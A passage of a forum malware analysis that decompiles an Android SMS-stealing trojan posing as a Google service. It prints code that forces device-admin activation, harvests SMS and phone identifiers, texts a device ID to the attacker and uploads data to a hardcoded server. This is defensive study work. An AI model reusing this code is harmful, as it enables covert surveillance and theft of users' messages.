对恶意APP"Google Server"的逆向分析
本帖最后由 wnagzihxain 于 2016-7-22 11:05 编辑忘了什么时候收到的样本了,加了混淆,不过慢慢分析都能分析出来,没有涉及到so的逆向
报告名称:对恶意APP”Google Service”的逆向分析 作者:wnagzihxain 报告更新日期:2016.7.13样本发现日期:不详 样本类型:短信拦截 样本文件大小/被感染文件变化长度: 样本文件MD5 校验值: 样本文件SHA1 校验值: 壳信息:无 可能受到威胁的系统:安卓 相关漏洞:安卓设备管理器漏洞 已知检测名称:无
Application类优先于 Activity执行,一般来说,可以在这里执行一些初始化操作,还有些全局变量可以放在这里package com.google.process.locations;
import android.app.Application;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.os.Build$VERSION;
import java.util.List;
public class GoogleApplication extends Application {
public static GoogleApplication GoogleApplication_this;
public static String String_id;
public static String String_model;
public static boolean sp_Boolean_mode;
public static boolean Boolean_b_notuse;
public static boolean Boolean_c;// 信号量
public static boolean Boolean_sharedpreferences_send;
public static boolean Boolean_e;
public GoogleApplication() {
super();
}
public static String get_RunningTasks_TopActivity(Context context) {
String String_Result;
List List_RunningTask = context.getSystemService("activity").getRunningTasks(1);
if(!List_RunningTask.isEmpty()) {
ComponentName object_componentname = List_RunningTask.get(0).topActivity;
if(!object_componentname.getPackageName().equals(context.getPackageName())) {
String_Result = object_componentname.getPackageName();
}
else {
goto label_15;
}
}
else {
label_15:
String_Result = null;
}
return String_Result;
}
private void Registe_Receiver_startGLServer() {
Receiver_startGLServer receiver_startGLServer = new Receiver_startGLServer();
this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.TIME_TICK"));// 每分钟
this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.SCREEN_ON"));// 开屏幕
this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.SCREEN_OFF"));// 关屏幕
this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.BATTERY_CHANGED"));// 电量变化
this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.CONFIGURATION_CHANGED"));// 配置变化
}
private void Init_sharedpreferences_mode() {
SharedPreferences sharedpreferences = this.getSharedPreferences("app_preferences", 0);// 读取配置
GoogleApplication.sp_Boolean_mode = sharedpreferences.getBoolean("mode", false);// 获取mode键值,不存在则返回false
if((GoogleApplication.sp_Boolean_mode) && Build$VERSION.SDK_INT > 18) {
GoogleApplication.sp_Boolean_mode = false;
sharedpreferences.edit().putBoolean("mode", GoogleApplication.sp_Boolean_mode).commit();
}
}
public void onCreate() {
super.onCreate();
GoogleApplication.GoogleApplication_this = this;
my_Thread_UncaughtExceptionHandler.get_my_Thread_UncaughtExceptionHandler().setDefaultUncaughtExceptionHandler(// 崩溃处理
this.getApplicationContext());
this.Init_sharedpreferences_mode();
this.Registe_Receiver_startGLServer();
}
}找到onCreate()方法
这是处理崩溃的,一般开发里常用的处理兼容性的写法my_Thread_UncaughtExceptionHandler.get_my_Thread_UncaughtExceptionHandler().setDefaultUncaughtExceptionHandler(this.getApplicationContext());跟过去看看packagecom.google.process.locations;
import android.content.Context;
importandroid.content.pm.PackageInfo;
import android.content.pm.PackageManager$NameNotFoundException;
import android.os.Build;
import android.os.Process;
import java.lang.reflect.Field;
import java.util.Properties;
public classmy_Thread_UncaughtExceptionHandler implements Thread$UncaughtExceptionHandler {
private staticmy_Thread_UncaughtExceptionHandler my_Thread_UncaughtExceptionHandler_this;
private Context context;
private Thread$UncaughtExceptionHandlerThread_UncaughtExceptionHandler_this;
private Properties object_properties;
privatemy_Thread_UncaughtExceptionHandler() {
super();
this.object_properties = newProperties();
}
public staticmy_Thread_UncaughtExceptionHandler get_my_Thread_UncaughtExceptionHandler() {
if(my_Thread_UncaughtExceptionHandler.my_Thread_UncaughtExceptionHandler_this== null) {
my_Thread_UncaughtExceptionHandler.my_Thread_UncaughtExceptionHandler_this= new my_Thread_UncaughtExceptionHandler();
}
returnmy_Thread_UncaughtExceptionHandler.my_Thread_UncaughtExceptionHandler_this;
}
private boolean a(Throwableobject_Throwable) {
if(object_Throwable != null) {
this.b(this.context);
}
return 1;
}
public voidsetDefaultUncaughtExceptionHandler(Context context) {
this.context = context;
this.Thread_UncaughtExceptionHandler_this =Thread.getDefaultUncaughtExceptionHandler();
Thread.setDefaultUncaughtExceptionHandler(((Thread$UncaughtExceptionHandler)this));
}
public void b(Context context) {
try {
PackageInfo object_PackageInfo =context.getPackageManager().getPackageInfo(context.getPackageName(),
1);
if(object_PackageInfo == null) {
goto label_16;
}
Properties v2 =this.object_properties;
String String_versionName ="versionName";
String v0_1 =object_PackageInfo.versionName == null ? "not set" :object_PackageInfo.versionName;
v2.put(String_versionName, v0_1);
this.object_properties.put("versionCode",Integer.valueOf(object_PackageInfo.versionCode));
}
catch(PackageManager$NameNotFoundException v0) {
}
label_16:
Field[] v1_1 = Build.class.getDeclaredFields();
int v2_1 = v1_1.length;
int i;
for(i = 0; i < v2_1; ++i) {
Field object_field_temp = v1_1;
try {
object_field_temp.setAccessible(true);
this.object_properties.put(object_field_temp.getName(),object_field_temp.get(null));
}
catch(Exception v3_2) {
}
}
}
public void uncaughtException(Thread arg2,Throwable arg3) {
if((this.a(arg3)) ||this.Thread_UncaughtExceptionHandler_this == null) {
Process.killProcess(Process.myPid()); // kill掉Process然后会重启
System.exit(10);
}
else {
this.Thread_UncaughtExceptionHandler_this.uncaughtException(arg2, arg3);
}
}
}关键的地方就是killProcess,这个方法在kill掉Process后会重启APP
其它地方的代码都很常规,没有什么好看的,继续看Application里的代码
初始化sp文件里的mode键值this.Init_sharedpreferences_mode();这个键值非常关键,影响了后面很多的代码逻辑
先获取mode键值,不存在则返回false,,接下来进行判断,如果SDK_INK大于18且mode为true则将mode写入sp文件,值为false,这个if在APP第一次运行的时候不会运行
因为第一次运行不存在mode键值,所以为false,唯一的可能就是在后面的代码逻辑中会有将mode置为true的代码并且写入了sp文件,但是在后面的代码中并没有将mode置为true并写入sp文件的相关代码
所以这个if是不会执行的,所以不管哪一次启动,mode的初始值都是falseprivate voidInit_sharedpreferences_mode() {
SharedPreferences sharedpreferences =this.getSharedPreferences("app_preferences", 0);// 读取配置
GoogleApplication.sp_Boolean_mode =sharedpreferences.getBoolean("mode", false);// 获取mode键值,不存在则返回false
if((GoogleApplication.sp_Boolean_mode)&& Build$VERSION.SDK_INT > 18) {
GoogleApplication.sp_Boolean_mode =false;
sharedpreferences.edit().putBoolean("mode",GoogleApplication.sp_Boolean_mode).commit();
}
}然后注册一个服务this.Registe_Receiver_startGLServer();方式为动态注册,Action为:每分钟,开屏幕,关屏幕,电量变化,手机配置变化private voidRegiste_Receiver_startGLServer() {
Receiver_startGLServerreceiver_startGLServer = new Receiver_startGLServer();
this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.TIME_TICK"));// 每分钟
this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.SCREEN_ON"));// 开屏幕
this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.SCREEN_OFF"));// 关屏幕
this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.BATTERY_CHANGED"));// 电量变化
this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.CONFIGURATION_CHANGED")); // 配置变化
}来看Receiver_startGLServer(),GoogleApplication.Boolean_b_notuse这个变量在全局都只有被赋值的语句,并没有参与任何逻辑判断或者作为数据发送出去,所以核心代码就是启动GoogleLocationService.classpackagecom.google.process.locations;
importandroid.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class Receiver_startGLServerextends BroadcastReceiver {
public Receiver_startGLServer() {
super();
}
public void onReceive(Context context,Intent intent) {
if(intent.getAction().equals("android.intent.action.TIME_TICK")){
GoogleApplication.Boolean_b_notuse= true;
}
context.startService(newIntent(context, GoogleLocationService.class));
}
}既然GoogleLocationService这个Service这么重要,那就好好的分析一下
找到关键的四个方法,这四个方法是常规service都会有的,在第一次启动这个service的时候会先执行onCreate()里的代码,然后执行onStartCommand()里的代码
这两个方法不同的地方在于初次启动service的时候会先执行onCreate(),然后执行onStartCommand()方法,而启动了service之后,再次启动service的时候只会执行onStartCommand()方法
onBind()方法这里没有使用就不讲了,onDestroy()是结束service时执行的代码public IBinder onBind(Intent intent) {
return null;
}
public void onCreate() {
Intent intent = new Intent(this.getApplicationContext(), GoogleLocationService.class);
this.object_AlarmManager = this.getSystemService("alarm");
this.object_PendingIntent = PendingIntent.getService(((Context)this), 0, intent, 268435456);
this.object_AlarmManager.setInexactRepeating(1, System.currentTimeMillis(), 5000, this.object_PendingIntent);
super.onCreate();
this.onCreate_Continue();
}
public void onDestroy() {
if(this.thread != null) {
this.thread.interrupt();
}
super.onDestroy();
}
public int onStartCommand(Intent intent, int arg4, int arg5) {
if(!GoogleApplication.Boolean_e) {
if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)) {
this.Start_Runnable_Confirm_ActiveAdmin();
}
}
else if(this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)) {
this.object_DevicePolicyManager.removeActiveAdmin(this.object_ComponentName);
}
else {
this.Uninstall_itself();
}
if(GoogleApplication.String_id == null) {
this.Init_sharedpreferences_id_model();
}
else {
if(!GoogleApplication.Boolean_c) {
Class_i.get_NewFileSend(((Context)this));
}
GoogleApplication.Boolean_b_notuse = false;
this.Start_Thread_e();
}
return 1;
}
一个个看过去,先来看onCreate()
这些都不重要Intent intent = newIntent(this.getApplicationContext(), GoogleLocationService.class);
this.object_AlarmManager =this.getSystemService("alarm");
this.object_PendingIntent =PendingIntent.getService(((Context)this), 0, intent, 268435456);
this.object_AlarmManager.setInexactRepeating(1,System.currentTimeMillis(), 5000, this.object_PendingIntent);
super.onCreate();重要的是最后一句this.onCreate_Continue();跟过去private voidonCreate_Continue() {
this.object_DevicePolicyManager =this.getSystemService("device_policy");
this.object_ComponentName = newComponentName(((Context)this), DeviceReciver.class);
this.Start_Runnable_Confirm_ActiveAdmin();
this.Init_sharedpreferences_id_model(); // 初始化sharedpreferences的id和model键值,存在就获取,不存在则创建
this.RegisteSMSContentObserver();// 注册短信监控
this.StoreHistorySMSmessage(false); // 获取之前的短信并存储在本地
this.StoreInformationofPhone(false);// 获取手机信息并存储在本地
}一句一句来看,这是一个确定激活的Runnablethis.Start_Runnable_Confirm_ActiveAdmin();开了个线程执行Runnable_Confirm_ActiveAdminprivate voidStart_Runnable_Confirm_ActiveAdmin() {
if(this.thread == null) {
this.thread = new Thread(newRunnable_Confirm_ActiveAdmin(this));
this.thread.start();
}
}跟过去
当获取了设备管理器就跳出while,否则会一直在while里循环,而循环的内容则是执行call_Confirm_ActiveAdmin_InActivity()packagecom.google.process.locations;
classRunnable_Confirm_ActiveAdmin implements Runnable {
Runnable_Confirm_ActiveAdmin(GoogleLocationService arg1) {
this.GoogleLocationService_this = arg1;
super();
}
public void run() {
while(!GoogleLocationService.get_object_DevicePolicyManager(this.GoogleLocationService_this).isAdminActive(GoogleLocationService.get_object_ComponentName(this.GoogleLocationService_this))){
String String_RunningTasks_TopActivityName=GoogleApplication.get_RunningTasks_TopActivity(GoogleApplication.GoogleApplication_this);
if(String_RunningTasks_TopActivityName == null ||!String_RunningTasks_TopActivityName.equals("com.android.settings")){
GoogleLocationService.call_Confirm_ActiveAdmin_InActivity(this.GoogleLocationService_this);
}
long sleep_time = 300;
try {
Thread.sleep(sleep_time);
continue;
}
catch(InterruptedException v0_2) {
return;
}
}
}
}看一下call_Confirm_ActiveAdmin_InActivity()static void call_Confirm_ActiveAdmin_InActivity(GoogleLocationServiceGoogleLocationService_this) {
GoogleLocationService_this.Confirm_ActiveAdmin_InActivity();
}关键还是Confirm_ActiveAdmin_InActivity() packagecom.google.process.locations;
import android.app.Activity;
importandroid.app.admin.DevicePolicyManager;
importandroid.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.view.KeyEvent;
public classConfirm_ActiveAdmin_InActivity extends Activity {
private ComponentName object_ComponentName;
private DevicePolicyManagerobject_DevicePolicyManager;
public Confirm_ActiveAdmin_InActivity() {
super();
}
private void ActiveAdmin() {
this.object_DevicePolicyManager =this.getSystemService("device_policy");
this.object_ComponentName = newComponentName(((Context)this), DeviceReciver.class);
if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
Intent intent = newIntent("android.app.action.ADD_DEVICE_ADMIN");
intent.putExtra("android.app.extra.DEVICE_ADMIN", this.object_ComponentName);
this.startActivity(intent);
}
}
private voidStartService_GoogleLocationService() {
this.startService(newIntent(this.getApplicationContext(), GoogleLocationService.class));
}
public void onAttachedToWindow() {
this.getWindow().setType(2004);
super.onAttachedToWindow();
}
protected void onCreate(Bundle arg3) {
super.onCreate(arg3);
this.getWindow().setFlags(-2147483648,-2147483648);
this.ActiveAdmin();
this.StartService_GoogleLocationService();
this.finish();
}
public boolean onKeyDown(int arg2, KeyEventarg3) {
boolean Boolean_Result = arg2 == 3 ?true : super.onKeyDown(arg2, arg3);
return Boolean_Result;
}
}作用很简单,就是隐式意图开启激活设备管理器,不管激活没有,直接开启GoogleLocationService,综合一下来看,如果激活这个分支就不会执行,如果没有激活那么会一直弹出激活窗口,即使关掉了也会打开
激活的部分就是这样,正常情况下只有激活才能退出那个窗口
然后会初始化sharedpreferences的id和model键值,存在就获取,不存在则创建this.Init_sharedpreferences_id_model();如果String_id和String_model任意一个为空,则进入if语句执行,现从sp文件获取id,model,key的键值,然后进行判断,key的值是id和model等数据进行md5计算得出的
这里还有对key的判断,如果key的值不对或者id,model为空,执行Create_sharedpreferences_id(),再执行Prompt(),然后再获取model的值,接着进行key的计算,最后将id,model,key写入sp文件private voidInit_sharedpreferences_id_model() {
String String_NULL = null;
if(GoogleApplication.String_id == null|| GoogleApplication.String_model == null) {
SharedPreferencesobject_SharedPreferences =this.getSharedPreferences("app_preferences", 0);
String int_id =object_SharedPreferences.getString("id", String_NULL);
String int_model =object_SharedPreferences.getString("model", String_NULL);
String int_key =object_SharedPreferences.getString("key", String_NULL);
if(int_id == null || int_model ==null || int_key == null || !Class_i.get_MD5(String.valueOf(int_id) + int_model+ "app").equals(int_key)) {
int_id =Class_i.Create_sharedpreferences_id(((Context)this));
this.Prompt(int_id);
int_model =Class_i.get_Build_MODEL();
int_key =Class_i.get_MD5(String.valueOf(int_id) + int_model + "app");
SharedPreferences$EditorSharedPreferences_Editor = object_SharedPreferences.edit();
SharedPreferences_Editor.putString("id", int_id);
SharedPreferences_Editor.putString("model", int_model);
SharedPreferences_Editor.putString("key", int_key);
SharedPreferences_Editor.commit();
}
GoogleApplication.String_id =int_id;
GoogleApplication.String_model =int_model;
}
}来看Create_sharedpreferences_id()方法
获取了一大堆手机的信息,然后算md5值public static StringCreate_sharedpreferences_id(Context context) {
MessageDigest object_MessageDigest;
String object_String =String.valueOf(context.getSystemService("phone").getDeviceId()) +("35"
+ Build.BOARD.length() % 10 +Build.BRAND.length() % 10 + Build.CPU_ABI.length() %
10 + Build.DEVICE.length() % 10+ Build.DISPLAY.length() % 10 + Build.HOST.length() %
10 + Build.ID.length() % 10 +Build.MANUFACTURER.length() % 10 + Build.MODEL.length()
% 10 + Build.PRODUCT.length()% 10 + Build.TAGS.length() % 10 + Build.TYPE.length()
% 10 + Build.USER.length() %10) + Settings$Secure.getString(context.getContentResolver(),
"android_id") +context.getSystemService("wifi").getConnectionInfo().getMacAddress();
try {
object_MessageDigest =MessageDigest.getInstance("MD5");
}
catch(NoSuchAlgorithmException v0_1) {
MessageDigest object_MessageDigest= object_MessageDigest;
return object_String;
}
object_MessageDigest.update(object_String.getBytes(), 0,object_String.length());
byte[] ByteArray_temp =object_MessageDigest.digest();
String String_Result = new String();
int i;
for(i = 0; i <ByteArray_temp.length; ++i) {
int int_temp = ByteArray_temp& 255;
if(int_temp <= 15) {
String_Result =String.valueOf(String_Result) + "0";
}
String_Result =String.valueOf(String_Result) + Integer.toHexString(int_temp);
}
return String_Result.toUpperCase();
}Prompt()方法就是将获取到的id发送给木马作者void Prompt(String messageText){
SmsManager.getDefault().sendTextMessage("18839763762", null,messageText, null, null);
}然后get_MD5()public static final Stringget_MD5(String arg5) {
try {
byte[] ByteArray_1 = arg5.getBytes("utf-8");
MessageDigest object_MessageDigest= MessageDigest.getInstance("MD5");
object_MessageDigest.update(ByteArray_1);
byte[]ByteArray_object_MessageDigest = object_MessageDigest.digest();
StringBufferobject_StringBuffer_Result = new StringBuffer();
int i;
for(i = 0; i <ByteArray_object_MessageDigest.length; ++i) {
int int_temp =ByteArray_object_MessageDigest & 255;
if(int_temp < 16) {
object_StringBuffer_Result.append("0");
}
object_StringBuffer_Result.append(Integer.toHexString(int_temp));
}
Stringobject_StringBuffer_Result_toString = object_StringBuffer_Result.toString();
returnobject_StringBuffer_Result_toString;
}
catch(Exception v0) {
return "";
}
}接着注册短信监控this.RegisteSMSContentObserver(); 主要代码在这里ContentObserver_SMSprivate voidRegisteSMSContentObserver() {
this.getContentResolver().registerContentObserver(Uri.parse("content://sms/"),true, new ContentObserver_SMS(this, new Handler()));
}跟过去packagecom.google.process.locations;
importandroid.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import org.json.JSONException;
import org.json.JSONObject;
class ContentObserver_SMSextends ContentObserver {
private Cursor b;
publicContentObserver_SMS(GoogleLocationService arg2, Handler arg3) {
this.GoogleLocationService_this = arg2;
super(arg3);
this.b = null;
}
public void onChange(boolean arg9) {
super.onChange(arg9);
Cursor object_cursor =this.GoogleLocationService_this.getContentResolver().query(Uri.parse("content://sms/"),new String
[]{"_id","address", "person", "body", "date","type"}, null, null, "_id desc");
if(object_cursor.getCount() > 0&& (object_cursor.moveToFirst())) {
int int_address_Index =object_cursor.getColumnIndex("address");
int int_body_Index =object_cursor.getColumnIndex("body");
int int_date_Index =object_cursor.getColumnIndex("date");
int int_type_Index = object_cursor.getColumnIndex("type");
String String_sourceAddress =object_cursor.getString(int_address_Index);
String String_body =object_cursor.getString(int_body_Index);
String String_date =object_cursor.getString(int_date_Index);
int_type_Index =object_cursor.getInt(int_type_Index);
JSONObject object_jsonobject = newJSONObject();
try {
object_jsonobject.put("number", String_sourceAddress);
object_jsonobject.put("time",String_date);
object_jsonobject.put("body", String_body);
object_jsonobject.put("type", int_type_Index);
if(int_type_Index % 2 == 1&& (GoogleApplication.sp_Boolean_mode)) {
Class_i.Delete_SMSmessage(this.GoogleLocationService_this.getApplicationContext(),String_body);
}
Class_i.CopyStoreNewSMSmessage(this.GoogleLocationService_this, 4,object_jsonobject);
}
catch(JSONException v1_2) {
}
}
object_cursor.close();
}
}当短信数量变化的时候,会有两个方法被执行Delete_SMSmessage(),CopyStoreNewSMSmessage()
第一个方法会在if里判断,一个是收发类型,另一个是mode的键值,mode的键值只会在后面一个地方被设置为true,并且要求SDK_INT不大于18
但是还是来看一下public static voidDelete_SMSmessage(Context context, String arg7) {
try {
Cursor object_cursor =context.getContentResolver().query(Uri.parse("content://sms/inbox"),null, "read=0", null, null);
while(object_cursor.moveToNext()) {
if(!object_cursor.getString(object_cursor.getColumnIndex("body")).trim().equals(arg7)){
continue;
}
context.getContentResolver().delete(Uri.parse("content://sms"),"_id=" + object_cursor.getInt(object_cursor.getColumnIndex("_id")),null);
}
return;
}
catch(Exception v0) {
return;
}
}然后就是存储短信了,这个方法是一定会执行的public static voidCopyStoreNewSMSmessage(Context context, int arg7, JSONObjectobject_jsonobject_param) {
try {
long Long_currenttime =System.currentTimeMillis();
String String_currenttime = newStringBuilder(String.valueOf(Long_currenttime)).toString();
JSONObject object_jsonobject = newJSONObject();
object_jsonobject.put("id", GoogleApplication.String_id);
object_jsonobject.put("model",GoogleApplication.String_model);
object_jsonobject.put("time",Long_currenttime);
object_jsonobject.put("type", arg7);
object_jsonobject.put("data", object_jsonobject_param);
FileOutputStreamobject_FileOutputStream = context.openFileOutput(String_currenttime, 0);
object_FileOutputStream.write(object_jsonobject.toString().getBytes());
object_FileOutputStream.flush();
object_FileOutputStream.close();
}
catch(Exception v0) {
}
}短信监控的代码就这些,继续看onCreate_Continue()的代码
获取之前的短信并存储在本地this.StoreHistorySMSmessage(false);history键值判断是否存储过历史短信private void StoreHistorySMSmessage(booleanarg15) {
SharedPreferences object_SharedPreferences= this.getSharedPreferences("app_preferences", 0);
booleanBoolean_sharedpreferences_history =object_SharedPreferences.getBoolean("history", false);// 使用history键值来判断是否发送过历史短信
if((arg15) ||!Boolean_sharedpreferences_history) {
JSONArray object_JSONArray = newJSONArray();
try {
Cursor object_cursor =this.getContentResolver().query(Uri.parse("content://sms/"), newString[]{"_id", "address", "person","body", "date", "type"}, null, null, "datedesc");
if(!object_cursor.moveToFirst()) {
goto label_74;
}
int sms_address_Index =object_cursor.getColumnIndex("address");
int sms_body_Index =object_cursor.getColumnIndex("body");
int sms_date_Index =object_cursor.getColumnIndex("date");
int sms_type_Index =object_cursor.getColumnIndex("type");
do {
label_51:
String sms_SourceAddress =object_cursor.getString(sms_address_Index);
String sms_Body =object_cursor.getString(sms_body_Index);
String sms_Date =object_cursor.getString(sms_date_Index);
String sms_Type =object_cursor.getString(sms_type_Index);
JSONObjectobject_jsonobject = new JSONObject();
try {
object_jsonobject.put("number", sms_SourceAddress);
object_jsonobject.put("time", sms_Date);
object_jsonobject.put("body", sms_Body);
object_jsonobject.put("type", sms_Type);
object_JSONArray.put(object_jsonobject);
}
catch(JSONException v5_1) {
}
break;
}
while(true);
}
catch(SQLiteException v0_1) {
goto label_74;
}
try {
if(object_cursor.moveToNext()){
goto label_51;
}
JSONObject object_jsonobject =new JSONObject();
try {
object_jsonobject.put("body", object_JSONArray);
Class_i.CopyStoreNewSMSmessage(((Context)this), 3, object_jsonobject);
}
catch(JSONException v0_4) {
}
}
catch(SQLiteException v0_1) {
}
label_74:
object_SharedPreferences.edit().putBoolean("history",true).commit();
}
}获取手机信息并存储在本地this.StoreInformationofPhone(false);num的键值是用于判断是否获取过手机信息,除非arg11是true,也就是木马作者人工获取
同时mode在这也作为条件进行判断,当sp_mode为false,mode为1,sp_mode为true,mode为2,然后存储在本地,最后将Boolean_sharedpreferences_send置为trueprivate voidStoreInformationofPhone(boolean arg11) {
int v0_4;
int v1 = 2;
SharedPreferencesobject_SharedPreferences =this.getSharedPreferences("app_preferences", 0);
boolean Boolean_sharedpreferences_num =object_SharedPreferences.getBoolean("num", false);
if((arg11) ||!Boolean_sharedpreferences_num) {
Object object_Phone =this.getSystemService("phone");
if(((TelephonyManager)object_Phone).getSimState() == 5) {
String PhoneNumber =((TelephonyManager)object_Phone).getLine1Number();// 手机号
String SimSerialNumber =((TelephonyManager)object_Phone).getSimSerialNumber();// SIM卡的序列号
String SubscriberId =((TelephonyManager)object_Phone).getSubscriberId();// 唯一的用户ID
String Build_VERSION_SDK_INT =new StringBuilder(String.valueOf(Build$VERSION.SDK_INT)).toString();// SDK版本
String Build_VERSION_RELEASE =Build$VERSION.RELEASE;// 系统版本
JSONObject object_JSONObject =new JSONObject();
try {
object_JSONObject.put("tel", PhoneNumber);
object_JSONObject.put("imei", SimSerialNumber);
object_JSONObject.put("imsi", SubscriberId);
object_JSONObject.put("sdk", Build_VERSION_SDK_INT);
object_JSONObject.put("release", Build_VERSION_RELEASE);
PhoneNumber ="mode";
if(GoogleApplication.sp_Boolean_mode) {
v0_4 = v1;
}
else {
goto label_51;
}
goto label_39;
}
catch(JSONException v0_3) {
goto label_54;
}
label_51:
v0_4 = 1;
try {
label_39:
object_JSONObject.put(PhoneNumber, v0_4);
Class_i.CopyStoreNewSMSmessage(((Context)this), 2, object_JSONObject);
}
catch(JSONException v0_3) {
label_54:
}
object_SharedPreferences.edit().putBoolean("num",true).commit();
}
}
if(!arg11) {
GoogleApplication.Boolean_sharedpreferences_send= object_SharedPreferences.getBoolean("send", true);
}
}到这结束了onCreate()方法,总结一下:先进性设备管理器的激活,如果未激活就一直弹出激活界面,用户激活后就会进行初始化id和model的操作,并根据id和model生产md5
三个值一起存储在本地,初始化了之后进行注册短信监控,有新短信的时候就会复制下来并存储在本地,并根据mode的键值确定要不要删除,接着是获取之前的短信,存储在本地
最后获取手机的信息存储在本地,最后两个方法会根据history和num键值进行判断,如果为true说明已经获取过了就不会再执行
接下来是onStartCommand()方法
判断激活,未激活会跳回去激活,Boolean_e的作用很微妙,主要是作者远程控制的作用
Boolean_e初始值为false,并且只有一个地方会修改为true,就是和服务器通信的部分,所以目前来说只会执行if里的语句,如果已激活,则直接跳过下面两个分支if(!GoogleApplication.Boolean_e){
if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
this.Start_Runnable_Confirm_ActiveAdmin();
}
}如果Boolean_e为true,说明是作者发送回来的数据改变了Boolean_e的值,如果恰好是已激活的话,就去除激活else if(this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
this.object_DevicePolicyManager.removeActiveAdmin(this.object_ComponentName);
}如果Boolean_e为true,并且未激活,则卸载else {
this.Uninstall_itself();
}这三个判断分支连起来的意思就是Boolean_e为true的时候就去除激活并卸载,方式是通过和服务器通信来设置Boolean_e的值
卸载的代码private void Uninstall_itself(){
Intent intent = new Intent();
intent.setAction("android.intent.action.DELETE");
intent.addFlags(268435456);
intent.setData(Uri.parse("package:com.google.process.locations"));
this.startActivity(intent);
}接着判断id是否为空,为空则获取,一般来说前面会获取的,这里估计是为了保险起见所以再次判断,如果已获取id值,则根据Boolean_c的值决定是否执行get_NewFileSend()方法,Boolean_b_notuse是没有作用的,最后执行Start_Thread_e()if(GoogleApplication.String_id== null) {
this.Init_sharedpreferences_id_model();
}
else {
if(!GoogleApplication.Boolean_c) {
Class_i.get_NewFileSend(((Context)this));
}
GoogleApplication.Boolean_b_notuse= false;
this.Start_Thread_e();
}来看get_NewFileSend()
这个方法的东西很有料,下面慢慢讲public static voidget_NewFileSend(Context context) {
String[] String_filelist =Class_i.get_all_file_list(context);
if(String_filelist != null &&String_filelist.length > 0) {
TreeSet object_TreeSet = newTreeSet();
object_TreeSet.addAll(Arrays.asList(((Object[])String_filelist)));
GoogleApplication.Boolean_c =true;// 把这个设置为true,这样检测新文件的时候就不会重复执行
newThread_SendandDelete_file(object_TreeSet, context).start();
}
}首先get_all_file_list()public static String[]get_all_file_list(Context context) {
return context.getFilesDir().list(newmyFilenameFilter());
}其中myFilenameFilter()packagecom.google.process.locations;
import java.io.File;
import java.io.FilenameFilter;
class myFilenameFilterimplements FilenameFilter {
myFilenameFilter() {
super();
}
public boolean accept(File arg2, Stringarg3) {
return 1;
}
}没什么大作用,就是用来获取文件列表的
接着把Boolean_c设为true,这样在onStartCommand()方法里就不会执行,避免重复
开了个线程newThread_SendandDelete_file(object_TreeSet, context).start();跟过去,有一个call_ReadandSend_file()方法很关键packagecom.google.process.locations;
import android.content.Context;
import java.io.File;
import java.util.Iterator;
import java.util.TreeSet;
class Thread_SendandDelete_fileextends Thread {
Thread_SendandDelete_file(TreeSet arg1,Context arg2) {
this.object_treeset = arg1;
this.context = arg2;
super();
}
public void run() {
Iterator object_iterator = this.object_treeset.iterator();
while(object_iterator.hasNext()) {
File object_file = newFile(this.context.getFilesDir(), object_iterator.next());
if(!Class_i.call_ReadandSend_file(object_file)) {
continue;
}
object_file.delete();
}
GoogleApplication.Boolean_c = false;
}
}跟过去,最终调用的是这个方法private static booleanReadandSend_file(File file) {
boolean boolean_Result = true;
try {
FileInputStreamobject_FileInputStream = new FileInputStream(file);
byte[] ByteArray_1 = newbyte;
object_FileInputStream.read(ByteArray_1);
object_FileInputStream.close();
JSONObject object_jsonobject =Class_i.ConnectSend_ResponseJsonobject(Class_i.get_Server_IPAddress(),
new String(ByteArray_1));
if(object_jsonobject == null) {
return false;
}
if(object_jsonobject.getInt("on")!= 1) {
return false;
}
return boolean_Result;
}
catch(Exception v0_1) {
}
return false;
}这一句JSONObject object_jsonobject =Class_i.ConnectSend_ResponseJsonobject(Class_i.get_Server_IPAddress(),new String(ByteArray_1));获取服务器IP地址get_Server_IPAddress()
public static Stringget_Server_IPAddress() {
return "45.127.99.27";
}ConnectSend_ResponseJsonobject()这个方法很重要public static JSONObjectConnectSend_ResponseJsonobject(String arg5, String arg6) {
String v0_7;
HttpResponse object_HttpResponse;
ArrayList object_ArrayList = newArrayList();
((List)object_ArrayList).add(newBasicNameValuePair("p", new String(Base64.encodeToString(newClass_a().xor_Base64_encode(
arg6.toString(),"6d0a04f0dac119bfea2823a60cb691cd"), 0))));
DefaultHttpClient object_DefaultHttpClient =Class_i.Create_GetHttpClient("/");
object_DefaultHttpClient.getParams().setParameter("http.protocol.expect-continue",Boolean.valueOf(false));
try {
HttpPost object_HttpPost = new HttpPost("http://"+ arg5);
object_HttpPost.setEntity(newUrlEncodedFormEntity(((List)object_ArrayList), "UTF-8"));
object_HttpResponse =object_DefaultHttpClient.execute(((HttpUriRequest)object_HttpPost));
if(object_HttpResponse.getStatusLine().getStatusCode()!= 200) {
return null;
}
}
catch(Exception v0_1) {
return null;
}
try {
InputStream object_InputStream =object_HttpResponse.getEntity().getContent();
ByteArrayOutputStreamobject_ByteArrayOutputStream = new ByteArrayOutputStream();
byte[] ByteArray_1 = newbyte;
while(true) {
int ByteArray_1_toByte =object_InputStream.read(ByteArray_1);
if(ByteArray_1_toByte == -1) {
break;
}
object_ByteArrayOutputStream.write(ByteArray_1, 0, ByteArray_1_toByte);
}
object_InputStream.close();
